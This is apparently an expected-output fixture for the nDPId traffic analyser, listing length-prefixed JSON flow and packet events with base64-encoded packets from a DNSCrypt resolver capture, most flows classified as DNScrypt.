+00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":132,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":946739305219,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":33071,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":219319,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXciBsgAL0RNMUKAAABjgTMb4EvAbsGBA3nAg4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":132,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":946739305219,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":33071,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":133,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":219331,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQiBwAub0RWZcKAAABjgTMbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":133,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":134,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":219342,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQiBsAub0RWZgKAAABjgTMbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":134,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":135,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":946739305219,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":43505,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":219372,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIciB1AAL0RGIMKAAABjgTMb6nxAbsCCB1KAg8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":135,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":946739305219,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":43505,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":136,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":946739305219,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":52284,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":219398,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIciB5AAL0RGIIKAAABjgTMb8w8AbsCCB1KAg0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":136,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":946739305219,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":52284,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":137,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":946739305219,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":46856,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":219453,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXciB8gAL0RNMEKAAABjgTMb7cIAbsGBNgLAhABAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":137,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":946739305219,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":46856,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":138,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":219467,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQiB8Aub0RWZQKAAABjgTMbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":138,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00660{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":220178,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ZmZmZmZmRERERERECABFAADQ+LhAADgRZ23DHl4cCgAAASD70jMAvJuWMsmAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAANu1cuNn82W5kyvuIYj3yDd11LkL534iAFDK9fBQA07jnu8CUEQwYJt1XxEE91D0YyFd2wLooVHv9yyAcc0SAAB5FL6yNLYbucmv1fHy4RsAcOv\/0XhGDt+qQ0bl\/YNRIXkUvrI0thu5ATQ9Gl8jB9hnnVXw"} +00660{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":220691,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ZmZmZmZmRERERERECABFAADQ+LlAADgRZ2zDHl4cCgAAASD7rPoAvMDLMs2AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAANu1cuNn82W5kyvuIYj3yDd11LkL534iAFDK9fBQA07jnu8CUEQwYJt1XxEE91D0YyFd2wLooVHv9yyAcc0SAAB5FL6yNLYbucmv1fHy4RsAcOv\/0XhGDt+qQ0bl\/YNRIXkUvrI0thu5ATQ9Gl8jB9hnnVXw"} +00669{"flow_id":59,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":326235,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWg00AADQR55mOBMxvCgAAAQG7zDwAwg0OAg2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} +00669{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":326268,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWg04AADQR55iOBMxvCgAAAQG7gMoAwlh8AhGBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} +00669{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":326588,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWg1AAADQR55aOBMxvCgAAAQG7gS8AwlgaAg6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":144,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":946739305327,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":50035,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":327834,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcwI1AAL0RNQwKAAABlXBwCsNzIPsCCMhQbAABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":144,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":946739305327,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":50035,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":145,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":946739305327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":40009,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":327882,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcwI4gAL0RUUsKAAABlXBwCpxJIPsGBPr0a\/0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA